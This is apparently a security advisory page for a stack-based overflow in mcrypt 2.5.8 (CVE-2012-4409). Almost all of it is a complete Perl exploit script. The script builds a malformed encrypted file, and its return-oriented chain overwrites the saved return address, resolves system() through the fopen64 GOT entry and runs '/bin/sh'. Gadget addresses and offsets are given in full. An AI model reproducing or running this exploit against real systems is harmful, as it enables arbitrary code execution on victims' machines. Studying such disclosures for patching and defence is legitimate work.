Mcrypt Stack Based Overflow Exploit

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Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
Active Network Scanning
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Mcrypt 2.5.8 suffers from stack based overflow vulnerability

Credit:
The information has been provided by Tosh.

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Vulnerable Systems:
* mcrypt <= 2.5.8

use strict;
use warnings;

my $filename = 'fake.nc';

my $file;
my $payload;

print "[+] Build payload.\n";
$payload = payload();

print "[+] Build file.\n";
$file = build_file($payload);

print "[+] Writing $filename.\n";
write_file();

print "[+] DONE.\n";

sub write_file {
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
print F $file;
close F;
}

sub build_file {
# magic
$file .= "\x00m\x03";

# flags
$file .= pack('C', 1 << 6);

# algorithm
$file .= "H\@Ck3d\x00";

# keysize
$file .= pack('S', 0xdead);

# mode
$file .= "h\@cK3d\x00";

# keymode
$file .= "H\@CK3D\x00";

# sflags
$file .= "\xff";

# payload
$file .= $_[0];

return $file;
}

sub payload {
my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP
my $v_local_1 = 0x0805b000; # Local variable 1 overwriten
my $v_local_2 = 0x08048007; # Local variable 2 overwriten
my $ret_sled = 5; # Offset between saved EIP and local variables
my $strcpy_plt = 0x080499f0; # strcpy@plt address
my $fopen64_got = 0x0805b1c8; # fopen64 got entry
my $system_off = 0xfffd6b30; # fopen64 - system
my $w_mem = 0x0805b000; # writable memory, without ASLR

my $pop2_ret = 0x08055a63; # pop; pop; ret
my $ret = 0x0805a5ed; # ret
my $pop_ebx = 0x08056186; # pop ebx; ret
my $pop_edi = 0x08053460; # pop edi; ret
my $xchg_eax = 0x080517a4; # xchg eax, edi; ret
my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
my $call_eax = 0x0804b357; # call eax; leave; ret

my $payload;

$payload .= "A"x$saved_eip_off;
$payload .= pack('L', $ret) x $ret_sled;
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $v_local_1);
$payload .= pack('L', $v_local_2);

# Copy "/bin/" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x00);
$payload .= pack('L', 0x08057fc2);

# Copy "sh" + "\x00" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x05);
$payload .= pack('L', 0x08048bab);

# Calc system() address with fopen64 GOT entry
$payload .= pack('L', $pop_ebx);
$payload .= pack('L', $fopen64_got + 0x2776e73c);

$payload .= pack('L', $pop_edi);
$payload .= pack('L', $system_off);

$payload .= pack('L', $xchg_eax);

$payload .= pack('L', $add_eax);
$payload .= "HaCk";

# Call system("/bin/sh")
$payload .= pack('L', $call_eax);
$payload .= pack('L', $w_mem);

die("[-] Payload too long !\n") if(length $payload > 0xfe);
return $payload;
}

CVE Information:
2012-4409

Disclosure Timeline:
Published: 2012-11-26

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